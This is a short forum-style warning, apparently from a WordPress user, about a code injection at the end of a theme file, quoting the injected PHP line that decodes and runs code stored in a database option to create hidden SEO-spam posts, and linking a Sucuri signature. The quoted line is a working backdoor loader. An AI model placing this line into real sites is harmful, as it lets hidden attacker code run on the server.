There is somthing wrong with the code. There is a code injection at the very end of the file where it says.
<?php add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>
This malicious code creates several post on your database filling it with link from other pages. This post dont show in the search results on wordpress neither on the page or post archives but will show in a google search. Double check your security. You can verify on sucuri website https://kb.sucuri.net/malware/signatures/php.spam-seo.dbload.001.
